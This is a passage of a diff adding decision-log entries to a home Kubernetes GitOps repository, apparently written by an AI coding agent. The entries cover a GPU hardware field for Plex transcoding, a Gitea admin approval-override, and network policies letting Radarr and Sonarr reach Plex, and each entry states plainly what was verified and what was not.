+  rule to evaluate. A silent degradation to software transcoding (a node losing its iGPU, the
+  `DirectoryOrCreate` path) will **not** be reported by anything. I deliberately did not add an
+  alert: with no metric behind it, it could never fire, and this repo has been burned at scale by
+  exactly that. Closing the gap honestly means an exporter first.
+- **I did not re-derive this session's node or in-container measurements.** The three-node
+  `renderD128`/`i915`/GID-992 facts, the cont-init hook behaviour, the `s6-setuidgid` group
+  replacement, the `PLEX_PREFERENCE*` absence, the six `setPref` keys and the
+  `HardwareAcceleratedCodecs` string were established earlier in this session and are cited, not
+  re-measured, by me. Per CLAUDE.md §2b, treat this file as a record of belief and re-measure against
+  the cluster before relying on any of it.
+- **The image is a floating tag.** Everything known about the hook came from digest
+  `sha256:e0ab27395614…` (`plexmediaserver 1.43.4.10903`), while the Deployment runs
+  `plexinc/pms-docker:latest` with `imagePullPolicy: Always`. A silent pull can invalidate the
+  "no `supplementalGroups` needed" conclusion **with no commit in this repo**. Not guarded against —
+  the runbook tells the reader to re-check the hook after an image bump, which is documentation, not
+  enforcement.
+- **I did not verify the live Gitea gate state** (branch protection, required contexts, runner
+  online) for this PR. Per §2b that must be queried, not read out of `CLAUDE.md`'s table; I did not
+  query it.
+- **`/runbooks/plex-quicksync` was not fetched.** The L0 check asserts every static precondition for
+  an HTTP 200; it does not make the request, and I did not either.

decisions/2026-09-30-sd-hardware-capability.md

@@ -0,0 +1,204 @@
+---
+date: 2026-09-30
+branch: feat/sd-hardware-capability
+title: ServiceDefinition gains a `hardware` capability field — `gpu: intel-quicksync` mounts /dev/dri and nothing else; the enum is what keeps the mechanism swappable
+---
+
+## What changed
+
+A new optional top-level ServiceDefinition property, `hardware`, with one optional member,
+`gpu`, whose enum today has exactly one value: `intel-quicksync`. **No catalog entry uses it.**
+This PR delivers the capability; consuming it (Plex) is separate work on top.
+
+- `schemas/servicedefinition.schema.json` — adds `hardware` (object, `additionalProperties: false`,
+  `minProperties: 1`) with `gpu` (enum `["intel-quicksync"]`). Schema version bumped **1.7.0 →
+  1.8.0**, changelog entry prepended to the schema `description` per that file's own convention.
+- `catalog/render.py` — two module-level constants (`DRI_VOLUME_NAME`, `DRI_DEVICE_DIR`) and the
+  emission in `r_deployment`.
+- `schemas/renderer-contract.md` — new `### hardware` field-mapping section, plus cross-field
+  invariant **8** in that file's numbered list.
+- `schemas/README.md` — its `**Schema version:**` line said `1.0.0`; it had been stale since 1.1.0.
+  Synced to 1.8.0 and annotated that the schema `description` is the changelog of record. Added one
+  bullet to "Cross-field rules" for the new enum. That was the whole of the staleness; nothing
+  ballooned.
+
+**What the renderer emits** for `hardware.gpu: intel-quicksync`, on the app container only (never a
+sidecar), and it is exactly two things:
+
+1. a hostPath volume `dri` → `/dev/dri`, `type: DirectoryOrCreate`;
+2. a read-write `volumeMount` of `dri` at `/dev/dri` on the app container (deliberately not
+   `readOnly` — VA-API opens the render node read-write).
+
+**Mounting the device is sufficient.** It emits **no** `privileged: true` (Kyverno
+`restrict-host-namespaces` is Enforce on app namespaces and it is not needed), **no** `nodeSelector`
+(placement is a separate concern with its own justification), **no** resource requests (there is no
+app-container resource render path), and — the one that is worth spelling out — **no
+`podSecurityContext.supplementalGroups`**.
+
+**Why no `supplementalGroups`, when `/dev/dri/renderD128` is `root:render 0660`.** An earlier
+revision of this branch merged the host `render` GID into `supplementalGroups`. **It was measured to
+be a no-op and has been removed.** In the running container on prod-2, 2026-09-30:
+
+    PID 1   s6-svscan            Uid: 0     Gid: 0     Groups: 0
+    pid 246 Plex Media Server    Uid: 1000  Gid: 1000  Groups: 100 1000
+
+`/etc/services.d/plex/run` ends in `exec s6-setuidgid plex …`, and the child's group list is exactly
+the `/etc/group` account-database list — root's gid `0`, which PID 1 holds, has **vanished**. That is
+a `setgroups()` that *replaces* rather than appends, so anything Kubernetes puts in
+`supplementalGroups` reaches `s6-svscan` and is discarded before the app ever starts. What actually
+works is the image's own `/etc/cont-init.d/45-plex-hw-transcode-and-connected-tuner`, which `find`s
+every char device under `/dev/dri`, `stat -c '%g'`s its GID, `groupadd`s a matching group inside the
+container when none exists, and `usermod -a -G`s the app user into it — every start, nothing
+hardcoded; `cont-init.d` completes before `services.d`, so the database is correct at exec time.
+
+Shipping an inert `supplementalGroups` would have been worse than shipping nothing: it would read as
+the mechanism to whoever debugs this next. The reasoning lives in a comment **at the emission site**
+and in `renderer-contract.md`, and `render.py --selftest` now asserts the *absence* of a
+`securityContext`, so it cannot be "helpfully" added back without a test failing. A pleasant
+corollary: because the hook re-`stat`s the device every start, host GID drift is **self-healing**,
+and no GID is pinned anywhere in this repo.
+
+**The design decision worth defending: the field is an enum of intent, not a device path.** The SD
+says *what class of host device the workload needs*; the hostPath and the mount exist only in
+`catalog/render.py`. Migrating to the Intel GPU device plugin (`gpu.intel.com/i915` resource
+requests, no hostPath at all) is then a renderer change with zero catalog edits. Both the schema
+`description` and the contract section say this explicitly, because the obvious "simplification" —
+letting an SD name `/dev/dri` — would push a platform implementation detail into the operator-facing
+contract and make that migration a catalog-wide edit.
+
+**`DirectoryOrCreate` is load-bearing.** A node that comes back without the render device (rebuild,
+BIOS change, driver regression, hardware swap) must degrade the workload to software transcoding,
+not fail the mount: `apps-wave-0` is `wait: true` and `apps-wave-1` `dependsOn` it, so a failed
+hostPath mount stalls the entire app tier for the sake of a feature that is not load-bearing.
+`/dev` is tmpfs, so the empty directory the kubelet creates on such a node leaves nothing durable
+behind. Do not "tighten" it to `Directory`. The reasoning is recorded at the emission site.
+
+### Rebase note (2026-10-01, Ruth Okonkwo) — resolution only, no redesign
+
+Rebased onto `main` @ `08deb20` (was cut from `0fbf544`). Re-landed as a single cherry-pick onto
+current `main`; the branch ref was force-updated with `--force-with-lease`, so PR #27 is the same
+PR with a new head.
+
+**One conflict, in `catalog/render.py`, purely textual.** PR #28
+(`fix/oauth2-proxy-cookie-collision-fleet`, merged as `6caa5f2`) inserted its own constants blocks
+(`OAUTH2_ACCESS_TOKEN_LIFETIME_S` / `OAUTH2_COOKIE_REFRESH`, and `OAUTH2_PROXY_METRICS_PORT`) at the
+same insertion point immediately after `KEYCLOAK_ISSUER` that this branch used for
+`DRI_VOLUME_NAME` / `DRI_DEVICE_DIR`. The two blocks are unrelated and do not interact, so **both
+sides were kept in full**, oauth2-proxy's first and the hardware block after it. Nothing was
+dropped and nothing was rewritten: the rebased commit adds the **same 126 `render.py` lines** as the
+pre-rebase commit (verified by comparing the added-line sets) and deletes none. In particular the
+`supplementalGroups`-is-deliberately-not-emitted and `DirectoryOrCreate`-is-load-bearing comments
+survive verbatim.
+
+Re-verified after the resolution: `--selftest` PASS (rc 0), and a full re-render still produces a
+**zero** diff in `apps/` — this PR remains inert, as it must be while no ServiceDefinition opts in.
+
+## What I verified
+
+Measured, in this worktree, on this branch:
+
+- **`python3 catalog/render.py --selftest` → `render.py selftest: PASS`, rc 0.** New cases in the
+  existing `check(...)` style: the positive (volume + mount, and *no* `securityContext`, *no*
+  privileged, *no* nodeSelector), the negative that matters (an SD without `hardware` gains no
+  volume, no volumeMount and no `securityContext` — mirroring the existing `podSecurityContext`
+  negative), and a pass-through case (an SD declaring both `hardware` and its own
+  `podSecurityContext: {fsGroup: 1001, supplementalGroups: [44]}` keeps it **exactly** as written).
+- **The self-tests actually bite.** I mutated the guard (`if hw_gpu == "intel-quicksync":` → `if
+  True:`) in a scratch copy and re-ran: **rc 1**, failing on "an SD without `hardware` must gain no
+  dri volume, no mount and no securityContext". A test that cannot fail is not a test; this one can.
+- **Re-render is a zero diff.**
+  `python3 catalog/render.py --all catalog -o apps --wave-layout --no-image-automation` then
+  `git diff --stat apps/` → **empty**, and `git status --porcelain apps/` → **empty** (so the two
+  not-onboarded by-products, `apps/wave-1/keycloak.yaml` and `apps/wave-0/vm-demo.yaml`, were
+  rewritten byte-identically and needed no revert). The change is inert until a service opts in.
+- **Schema validity and catalog conformance.** `Draft202012Validator.check_schema` passes; all
+  **12** `catalog/*.yaml` validate with **0** errors. On the new field specifically: `gpu:
+  intel-quicksync` accepted; `gpu: /dev/dri` rejected (enum); `hardware: {gpu: …, path: …}` rejected
+  (`additionalProperties: false`); `hardware: {}` rejected (`minProperties: 1`).
+- **Hand-checked the emitted YAML** by rendering a throwaway SD carrying `hardware`, a Longhorn
+  volume and its own `podSecurityContext: {runAsUser: 1000, supplementalGroups: [44]}`. Result:
+  `volumeMounts` = config then `{name: dri, mountPath: /dev/dri}`; `volumes` = the PVC then
+  `{name: dri, hostPath: {path: /dev/dri, type: DirectoryOrCreate}}`; `securityContext` =
+  `{runAsUser: 1000, supplementalGroups: [44]}` — i.e. **unchanged**, nothing appended. That toy SD
+  was never written into `catalog/`.
+- **GATE: `rc 3` — UNDETERMINED, NOT green.** Run in the pinned toolbox from this worktree with
+  both CLAUDE.md §3 workarounds (`DEV_KUBECONFIG=/dev/null`, and an `ENGINE` shim bind-mounting the
+  main checkout's `.git` at its own absolute path). Diff base `origin/main @ 0fbf544d5e2f`; touched
+  requirements `R-DNS-03 R-GITOPS-02 R-IDP-02`. Run **four** times on this branch with an identical
+  result each time, most recently against tree `c132893045b1` — the final commit differs from that
+  run only by this paragraph. Per stage:
+
+  | stage | result |
+  |---|---|
+  | spec-immutability | **SKIPPED** — sibling spec repo not at `/work/../home-network-k3s`. Expected from a worktree; tolerated by §3. |
+  | decisions-log | pass |
+  | lint | pass |
+  | l0 | pass — 19 offline cases, `0 failure(s), 0 skip(s), 0 unwired` |
+  | render-golden | pass — *"all 10 onboarded service golden(s) reproduce from the canonical render"* |
+  | l1 | pass — 3 offline checks, `0 failure(s), 0 skip(s), 0 unwired`; coverage 51/51 requirements scaffolded |
+  | approval-policy | pass (`event='none'`, not a pull_request event — N/A locally; it will evaluate for real on the PR) |
+  | gitea-settings | **SKIPPED** — `SETTINGS_API_TOKEN` unset. Expected; branch protection and runner registration are therefore UNVERIFIED by this run. |
+  | conformance (L2/L3) | **SKIPPED** — `CLUSTER_AVAILABLE!=true`. Phase-0 standing skip. |
+
+  The gate's own verdict: *"Stages that did not run: spec-immutability gitea-settings"*. **No stage
+  failed, and no stage skipped for a reason caused by this change.** rc 3 is reported as rc 3; I am
+  not calling this green.
+- **Blast radius of the schema change:** `hardware` is absent from every catalog entry, so
+  `apply_defaults` never materializes it and `s.get("hardware")` is `None` on all 12 — which is what
+  the zero diff above demonstrates rather than asserts.
+- **Touched no sensitive path.** Changes are confined to `schemas/`, `catalog/`, `decisions/`; per
+  `infra/gitea/approval-policy.json` none of those are sensitive. `conformance/**` and `clusters/**`
+  are untouched. I did not run `--emit-waves` (it writes `clusters/base/`, and the set of files
+  under `apps/` did not change).
+
+## What I did NOT verify
+
+- **Whether containerd's device cgroup permits a non-privileged pod to `open()` a bind-mounted char
+  device. Still unverified, and it is the single largest technical risk in this workstream.**
+  containerd installs a per-container **device cgroup** allow-list, and whether
+  `/dev/dri/renderD128` arriving as a bind-mounted device node is permitted by it on this
+  k3s/containerd version is **unmeasured**. Settling it requires applying a pod, which is an
+  operator action, not an agent one. The container's PID 1 running as uid 0 helps on the DAC side
+  but does **not** bypass the cgroup gate. If it blocks, the mount will succeed, the image's group
+  hook will do its job, and the `open()` will still fail — and the fallback is the Intel GPU device
+  plugin, which *sets* the cgroup entry. Note that that fallback is a **renderer-only change**: no
+  ServiceDefinition moves, because the authoring surface is an intent enum. That is the design
+  justifying itself, and it is the reason to keep the enum even if the hostPath mechanism loses.
+- **That a missing device degrades silently — and nothing will tell you.** This is the accepted cost
+  of `DirectoryOrCreate`. The workload will software-transcode and **no signal reports it**: media
+  apps in this catalog declare no `metricsEndpoint`, so no ServiceMonitor exists, and there is no
+  metric to alert on. I deliberately did **not** propose an alert, because an alert that cannot fire
+  is worse than none — see the 2026-09-13 correction in `renderer-contract.md` §`observability`,
+  where twelve monitors discovered zero targets. The only proof of hardware transcode is an operator
+  seeing it in the application's own dashboard.
+- **That "mounting the device is sufficient" generalizes beyond this one image.** It does not, and
+  I have not verified that it does. The claim was measured for an image that resolves the device
+  group itself in `cont-init.d`. A future consumer of `hardware.gpu` that runs non-root with no
+  equivalent hook would still need the group solved — and the fix for that case is a **renderer**
+  change (per-image handling, or the device plugin), never a new SD field. I scoped the claim in
+  `renderer-contract.md` rather than letting it read as general; the first such consumer must
+  re-measure.
+- **The feature now depends on a hook inside an image that floats.** The `cont-init.d` behaviour
+  above was read from digest `sha256:e0ab27395614…` (`plexmediaserver 1.43.4.10903`), but the
+  deployment runs `plexinc/pms-docker:latest` with `imagePullPolicy: Always`. **A silent pull can
+  change the behaviour this feature depends on, with no commit anywhere in this repo to show for
+  it** — and the failure would be the silent software-transcode described above. I have not fixed
+  that here (it is the Plex wiring's tag/digest decision, not the capability's), but it should not
+  be forgotten.
+- **GID drift is NOT on this list any more, deliberately.** An earlier revision pinned
+  `INTEL_RENDER_GID = 992` and listed "a node rebuild could move it" as an open risk. The hook
+  re-`stat`s the device on every start, so drift is self-healing and no GID is pinned anywhere. The
+  risk is retired, not overlooked.
+- **Anything on the live cluster.** I ran no `kubectl` and I opened no shell in any container. The
+  node facts (device present, `root:render` 0660, `i915` bound, no device plugin, no
+  `gpu.intel.com/*` advertised), the in-container measurements quoted above, and the Kyverno
+  posture (`restrict-host-namespaces` Enforce; no hostPath or `supplementalGroups`
+  restriction; no PSA labels on app namespaces) are **prior recon handed to me, not re-measured by
+  me**. Per CLAUDE.md §2b, treat them as second-hand until re-queried.
+- **That CI exercises the self-tests. It does not.** `git grep -- --selftest ci/` returns nothing —
+  no gate stage invokes the renderer's self-test. They are the executable spec and house style, and
+  I ran them by hand, but a future regression in this code path **will not be caught by the gate**.
+  Wiring `--selftest` into a gate stage is a real gap and is not part of this PR (`ci/` is a
+  sensitive path and would drag in a human reviewer for a change unrelated to this one).
+- **Runtime behaviour of any kind.** The gate proves the L0/L1 offline subset only;
+  `vars.CLUSTER_AVAILABLE` is unset, so L2/L3 conformance does not run in CI.

decisions/2026-10-01-admin-approval-override.md

@@ -0,0 +1,256 @@
+---
+date: 2026-10-01
+branch: fix/admin-approval-override
+title: Administrators can merge their own green PR — required_approvals 1 → 0, plus an attributed /approve-override for sensitive paths
+---
+
+## What changed
+
+**The problem, measured first.** `required_approvals: 1` on `main` was a lock-out, not a
+protection. Gitea refuses to let a pull request's author approve their own PR, and `jakman85` is
+the **only** collaborator (permission `owner`). So no account in existence could approve a PR the
+operator opened. Measured on the live API, 2026-10-01:
+
+| | |
+|---|---|
+| PR #35 (`bugfix/arr-to-plex`, author `jakman85`) | `gate / gate (pull_request)` = **success, 1m41s** |
+| its reviews | `[]` |
+| live `required_approvals` | `1` |
+| live `block_admin_merge_override` | `true` |
+
+Green gate, zero reviews, no path to a merge — and the same was true of any PR that would have
+fixed it.
+
+It was also never the design this repo wrote down. `ci/approval-policy.sh`'s own header and
+`ci/gate.sh:194` both already described the model as *"`required_approvals` drops to 0 and the
+GATE decides"*, and `infra/gitea/require-gate.sh`'s closing note named this exact failure and
+prescribed this exact remedy. `decisions/2026-09-30-flux-deploy-notification-inhibited.md` had
+flagged the 1-vs-0 disagreement as unresolved and not that session's to settle. This settles it
+at 0.
+
+**Two layers were blocking, and both are addressed.**
+
+*Layer 1 — Gitea branch protection.* `required_approvals: 1 → 0` in
+`infra/gitea/expected-branch-protection.json`, with the rationale in the file, plus
+`infra/gitea/allow-admin-self-merge.sh` to apply it to the live rule (it reads the target **from
+the declaration**, so the script cannot drift from what the gate checks). `require-gate.sh` was
+changed to 0 as well — left at 1 it would silently re-impose the lock-out on its next run.
+
+The narrow choice matters: the *other* way to unblock an owner is
+`block_admin_merge_override: false`, and that would have re-opened precisely what
+`infra/gitea/block-admin-override.sh` was written to close (PRs #5–#9 merged with zero approvals
+while the settings read as enforced). This change drops the approval **count** only.
+`block_admin_merge_override` and `enable_status_check` both stay `true`, and the script asserts
+both afterwards and fails loudly if the PATCH disturbed either. **A red gate remains unmergeable
+by everyone, administrators included.**
+
+*Layer 2 — `ci/approval-policy.sh`.* Sensitive paths (`ci/**`, `infra/gitea/**`, `CLAUDE.md`,
+kyverno, rbac, sops, Flux wiring) still require a non-author `APPROVED` review, which the sole
+administrator still cannot obtain. An administrator may now waive it by commenting on the PR:
+
+    /approve-override <reason>
+
+- the directive must **start a line** (a quoted or mid-sentence mention does not count, or
+  repeating someone else's override would re-arm it);
+- a **reason is mandatory** — a bare directive records that review was waived but not why;
+- the commenter's permission is **re-checked live** against
+  `/collaborators/{login}/permission` when the gate runs, so an old comment from a demoted
+  account carries nothing;
+- it is **invalidated by a new commit** (the comment must post-date the head commit), mirroring
+  Gitea's own `dismiss_stale_approvals`;
+- the overrider, timestamp and reason are printed in the gate log and the job summary, and a
+  self-waiver by the PR's own author is called out as such.
+
+Selection of the candidate comment is `ci/approval-override.py` — pure, offline, no authority of
+its own — so it could be unit-tested; authorisation stays in the fail-closed stage.
+`ci/tests/approval-override.test.sh` adds **23 assertions**, all passing, each constructing a
+case the parser must refuse. Every new failure mode blocks: unreadable head-commit timestamp,
+unreadable permission, parser error.
+
+**The cost, stated rather than buried.** For an administrator, *"a change to the gate cannot be
+gated by the gate"* is now **advisory, not structural**. That is unavoidable with one human — the
+alternative is a repository its owner cannot change — and what is bought back is an attributed,
+reasoned, commit-scoped record of each waiver instead of a silent bypass.
+
+**The uncomfortable part, accepted with eyes open (operator decision).** Authorisation is by live
+permission **alone**, with no allowlist of human accounts. The **agent account `gitea-admin` also
+reports permission `owner`** on this repo (measured), so an agent *can* clear the sensitive-path
+review on its own PR — and agents author most PRs here, so that is the common case, not an edge
+case. I raised this before implementing; the operator chose permission-only. It is documented in
+three places rather than left to be discovered: `approval-policy.json`
+(`_known_consequence_agent_accounts`), the stage's header, and `CLAUDE.md`, which now tells
+agents plainly **not** to use it on their own work. The narrowing path needs no code change —
+add an `override_admins` list to `approval-policy.json` and the stage already requires membership
+in addition to the permission check.
+
+Also updated: `CLAUDE.md` §1 and the §2 enforcement table (the "approval required" row is now
+explicitly ⬜ with the reason, rather than a stale ✅), and `infra/gitea/README.md` gains §6 and
+marks its historical step 4 as reversed — do not re-apply.
+
+**Second pass, 2026-10-02 — the override did not work the first time, and why.** The operator ran
+the live PATCH (`required_approvals: 0` confirmed live, with `block_admin_merge_override` and
+`enable_status_check` still `true`), merged PR #35, and posted `/approve-override Need to ensure
+approval override work as expected` on PR #38. The gate re-ran (run 203) and **still blocked.**
+
+The comment was not at fault: posted by `jakman85`, directive at the start of the line, reason
+present, and 29 minutes **newer** than head commit `616a497`, so it cleared the staleness rule.
+What failed was that **CI could not read it.** Run 203's log:
+
+    approval-override: COMMENTS_JSON is not a list
+
+`SETTINGS_API_TOKEN` is minted `["read:repository", "read:admin"]` by
+`infra/gitea/set-ci-token.sh`, and Gitea puts `/issues/{n}/comments` behind the **issue** scope. So
+Gitea returned an error *object*, `jq -e .` accepted it as valid JSON, and the stage fell through
+to "no approving review" — **a permission failure wearing the costume of a missing override.**
+`/pulls/{n}/files` and `/pulls/{n}/reviews` are under `read:repository`, which is exactly why every
+other part of the same stage worked and this one did not.
+
+Three fixes, and the first is the one that mattered most:
+
+1. **The diagnosis is no longer misleading.** `COMMENTS_JSON` is out of the must-parse-or-block
+   loop and is explicitly checked for being an *array*; when it is not, the stage prints Gitea's
+   own `.message`, names the missing scope, and says where to post the override instead. An
+   unreadable source can only cause a false BLOCK, never a false pass, so degrading it to a loud
+   warning is safe — and blocking on it was never the honest behaviour.
+2. **The override is accepted from a PR REVIEW body as well as a comment**, so the hatch is not
+   hostage to one API scope. A review of type "Comment" works on the token CI has *today*. The
+   gate names which source it used. `PENDING` (unsubmitted, author-only draft) reviews are dropped.
+3. **`set-ci-token.sh` now requests `read:issue`**, which makes the ordinary comment box work —
+   the thing anybody reaches for first. It takes effect only on a **re-run**: an existing token's
+   scopes cannot be widened in place.
+
+`ci/tests/approval-override.test.sh` grows from 23 to **38 assertions**, covering the reviews
+source, `PENDING` reviews, an error *object* from the comments API, "an unreadable comments source
+must not suppress a valid review override", latest-wins across both sources, and that the
+diagnostic actually quotes Gitea's message.
+
+**One adjacent fix, deliberately in scope: `ci/tests/gate-decision.test.sh` was already broken.**
+It hand-maintains a list of stub stage scripts that "must name EVERY stage `gate.sh` runs", and it
+did not name `approval-policy` — added to `gate.sh` by PR #17 and never added here. `run_stage`
+therefore got exit 127 from a missing file and recorded a FAILED stage in every case, so **15 of
+50 assertions failed**, including every one expecting a PASS/UNDETERMINED headline. Measured on
+pristine `origin/main` (`0c7e8dd`) before touching it, so the attribution is not a guess.
+
+I fixed it because `make -C ci test` is the *only* runner for the suite this change adds — leaving
+it red would have made the new tests unverifiable in practice. The file's own comment already
+narrated this exact failure for `gitea-settings` and did not prevent the repeat, which says the
+comment was not the fix. So the stub list is now **derived from `gate.sh`'s own `run_stage` lines**
+and asserts it parsed at least 8 of them: a stage added to the gate can no longer be silently
+missing from its test. `make -C ci test` goes from **FAILED to all suites passed**.
+
+## What I verified
+
+- **The lock-out is real, and PR #35 is the proof.** Queried live: head sha
+  `8a094c46`, statuses `gate / gate (pull_request) = success :: Successful in 1m41s`,
+  `/pulls/35/reviews` → `[]`, `/branch_protections/main` → `required_approvals: 1`. I read the
+  **rule object**, not `/branches/main`, per §2b.
+- **`jakman85` is the only collaborator**: `/collaborators` → one entry. Permission `owner`.
+- **`gitea-admin` also reports `owner`** — this is why the agent-account consequence above is a
+  statement of fact and not a hypothetical.
+- **PR #35 touches no sensitive paths** (`apps/wave-0/plex.yaml`, `apps/wave-1/{radarr,sonarr}.yaml`,
+  `catalog/{radarr,sonarr}.yaml`, its decisions entry) — so `ci/approval-policy.sh` was never its
+  blocker. Layer 1 alone unblocks it.
+- **API shapes verified before depending on them**, rather than assumed: `/git/commits/{sha}`
+  returns `.commit.committer.date` as RFC3339 **with an offset** (`2026-10-01T23:09:08-05:00`),
+  not a trailing `Z` — a parser handling only `Z` would have silently dropped every real
+  override, so there is a test for the offset form. PR conversation comments are under
+  `/issues/{n}/comments`; `/pulls/{n}/comments` returns diff comments only and would never have
+  seen an override.
+- **`ci/tests/approval-override.test.sh`: 23 passed, 0 failed.** Covers the happy path, bare
+  directive, mid-sentence and `>`-quoted directives, stale and equal-timestamp overrides,
+  unparseable timestamps, missing login, invalid JSON, non-list JSON, latest-wins, offset
+  timestamps, and a configurable directive.
+- `bash -n` clean on `ci/approval-policy.sh`, `infra/gitea/allow-admin-self-merge.sh`,
+  `infra/gitea/require-gate.sh`; `jq -e .` clean on both JSON declarations.
+- **`gate-decision.test.sh`'s 15 failures are pre-existing, measured not assumed.** Extracted
+  `origin/main`'s `ci/` at `0c7e8dd` into a throwaway directory and ran the suite from there:
+  **FAIL, 15 failed / 35 passed**. After deriving the stub list from `gate.sh`: **PASS, 50
+  assertions**.
+- **`make -C ci test` in the pinned toolbox: `ci/tests: all suites passed`, rc 0** — approval-override
+  **38**, gate-decision 50, touched-requirements-base 31, test-attribution 15, touched-requirements 26,
+  decisions-log pass. It was rc 2 (`ci/tests: FAILED`) before the stub-list fix.
+- **The live flip worked, and the drift detector proved it.** Run 202 (before): `gitea-settings:
+  FAIL`, `required_approvals: DECLARED 0 but LIVE is 1`. Run 203 (after the operator ran the
+  PATCH): `gitea-settings: pass`, with `block_admin_merge_override = true` among the keys it
+  checked. So the narrow change held — the approval count moved and the gate's teeth did not.
+- **The first override attempt failed for a measured reason, not a guessed one.** Run 203 log:
+  `approval-override: COMMENTS_JSON is not a list`. Token scopes read from `set-ci-token.sh`:
+  `[read:repository, read:admin]`. The same run successfully read `/pulls/38` and
+  `/pulls/38/files` (author and sensitive paths both resolved) and got past the reviews
+  validation, which is how I know `/pulls/{n}/reviews` IS readable with that token — from
+  behaviour, not from documentation.
+- **The comment itself was valid.** `created_at` 2026-10-02T05:31:24Z vs head commit `616a497`
+  committer date 2026-10-02T00:02:20-05:00 → the comment is 29m04s newer, so it passed the
+  staleness rule. Ruling the comment out is what left the token scope as the only candidate.
+- **`?limit=1000` is not the culprit.** Queried `/issues/38/comments` with `limit=1000`, `limit=50`
+  and no limit using my own credentials: `type=array` in all three. So the difference is the
+  credential, not the query.
+- **The root cause is confirmed by Gitea, in its own words.** Run 206 (the fix in place):
+  `[warn] cannot read PR COMMENTS from Gitea — token does not have at least one of required
+  scope(s), required=[read:issue], token scope=read:admin,read:repository.` followed by the
+  instruction to post the override as a review. That is the diagnosis the first attempt should
+  have produced, and `gitea-settings: pass` in the same run. The stage still ends `FAIL`, correctly
+  — there is no valid override on the PR yet.
+- **Toolbox merge gate** (`./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'`), run on the
+  rebased branch: **rc 3, `MERGE GATE: UNDETERMINED`**. Green stages: spec-immutability,
+  decisions-log, lint, l0 (23 offline cases, 0 failures), render-golden including the new
+  `catalog/render.py --selftest`, l1 (3 cases), approval-policy (N/A offline). Skipped:
+  `gitea-settings` (no `SETTINGS_API_TOKEN` on this host) and `conformance` (no cluster).
+  **This is NOT a green run and I am not reporting it as one** — rc 3 is UNDETERMINED per the
+  CLAUDE.md §3 contract.
+
+## What I did NOT verify
+
+- **The override has still never been ACCEPTED by a real run.** This is the second attempt at
+  this bullet, which is itself the point: the first pass called the hatch unverified, and the
+  first real test found a defect that no amount of local testing would have (an API scope CI has
+  and I did not). What is now measured is that the parse → *reject* path works end to end and
+  diagnoses itself. The **accepting** branch — directive found → live permission lookup → exit 0 —
+  has never executed. Posting the override as a **review** on PR #38 is its first real test, and
+  I would not be surprised by a third round.
+- **`read:issue` is the right scope name — Gitea said so itself, so this is no longer a guess.**
+  Run 206 printed Gitea's own message: `token does not have at least one of required scope(s),
+  required=[read:issue], token scope=read:admin,read:repository`. That both confirms the root
+  cause and names the string, which matters because this repo has been burned by a token *name*
+  that could not exist (`GITEA_SETTINGS_TOKEN`). What is **still** unverified is that the token
+  *mint* accepts it — `POST /users/{u}/tokens` with that scope has not been run. The review route
+  does not depend on it.
+- **I did not verify that Gitea lets a PR's own author submit a `COMMENT`-type review.** Gitea
+  blocks author self-*approval*; "Comment" is expected to be allowed, and that expectation is now
+  load-bearing for the recommended route. It is one click to find out, and I deliberately did not
+  test it by posting an override myself: doing so as `gitea-admin` is precisely the agent
+  self-override that `CLAUDE.md` now forbids.
+- **The whole re-run mechanism is manual.** `gate.yml` triggers on `pull_request` and `push: main`
+  only — there is no `issue_comment` trigger, so posting an override does **not** re-run the gate.
+  Re-run the job from the Actions UI, or close and reopen the PR (which fires `pull_request` and
+  leaves the head SHA alone). **Do not push an empty commit to re-trigger it:** that moves the head
+  commit and makes the override stale by the rule above, so it would have to be posted again. A
+  comment trigger was considered and not built — it would need to check out PR head code while the
+  job holds `SETTINGS_API_TOKEN`, which is the classic pwn-request shape and not worth it here.
+- **I have not seen the gate still REFUSE a merge** now that approvals are 0. The claim that
+  `block_admin_merge_override: true` keeps a red gate unmergeable rests on Gitea's documented
+  behaviour and on the 2026-09-29 session, **not** on a provoked refusal in this one. That probe
+  is written out at the foot of `allow-admin-self-merge.sh` and should be done, exactly as the
+  push rejection was provoked rather than assumed.
+- **Clock skew in the staleness check is unhandled.** Staleness compares the comment's
+  server-side `created_at` against the head commit's *committer* date, which comes from the
+  committer's machine. A commit dated in the future would reject legitimate overrides until real
+  time catches up (fail-closed, so loud, but annoying). Gitea's own `dismiss_stale_approvals`
+  compares SHAs instead; a comment cannot. Not hit here — PR #35's commit date is ~21 min behind
+  server time — and not fixed.
+- **`ci/tests/approval-override.test.sh` does not run in the merge gate.** `ci/gate.sh` runs no
+  `ci/tests/*`; they run only via `make -C ci test`. So a regression in the parser would not be
+  caught by CI. PR #33 (merged while this branch was being written, and rebased onto here) fixed
+  the *same class* of gap for `catalog/render.py --selftest` by invoking it from
+  `ci/render-golden.sh` — it did **not** wire `ci/tests/*` in, which I confirmed after rebasing
+  rather than assuming. Wiring them is a one-line stage and I did not widen scope to it.
+- **Authorisation itself is untested code.** `ci/approval-override.py` is unit-tested; the live
+  permission lookup, the `override_admins` allowlist branch, and every new BLOCK path in
+  `ci/approval-policy.sh` need Gitea and have never been exercised. The allowlist branch in
+  particular is implemented but **unused** — `override_admins` is absent by design.
+- **The other open PRs will go red** once the live value changes, until they are rebased onto the
+  merged declaration: as of writing those are **#29** and **#37** (both `gitea-admin`), plus
+  **#35**. I did not rebase them. Merging them first avoids it entirely; the script's header gives
+  the order. PRs #33, #34 and #36 merged while this branch was being written — this branch is
+  rebased onto `0c7e8dd`, so the list was re-measured rather than carried forward.
+- No cluster state was read or changed; nothing here touches Flux, Kyverno or any workload.

decisions/2026-10-01-arr-to-plex.md

@@ -0,0 +1,120 @@
+---
+date: 2026-10-01
+branch: bugfix/arr-to-plex
+title: Radarr and Sonarr may now reach Plex on 32400 — the network path only, not the Plex connection itself
+---
+
+## What changed
+
+Radarr and Sonarr had no route to Plex. The media library lives on NFS
+(`/mnt/Storage/plex`, the ZFS dataset `Storage/plex` on `${BULK_NFS_SERVER}`), and NFS
+does not deliver filesystem CRUD notifications, so Plex never learns that an arr has
+written a new file. Without a push from the arrs, the library only reflects new media
+when somebody scans it by hand. That is the bug this branch addresses.
+
+The fix is one `dependencies:` entry per app, added to the catalog — the source of truth:
+
+    - to: plex
+      port: 32400
+      protocol: tcp
+
+in both `catalog/radarr.yaml` and `catalog/sonarr.yaml` (these two *are* the arr suite
+here; `jackett`, `qbittorrent` and `seerr` are different roles and are untouched).
+
+The renderer expands each entry into a **pair** of Cilium policies, which is why a
+three-line catalog change produces 88 lines under `apps/`:
+
+| Side | Policy | File |
+|---|---|---|
+| egress | `radarr-allow-plex-32400` | `apps/wave-1/radarr.yaml` |
+| egress | `sonarr-allow-plex-32400` | `apps/wave-1/sonarr.yaml` |
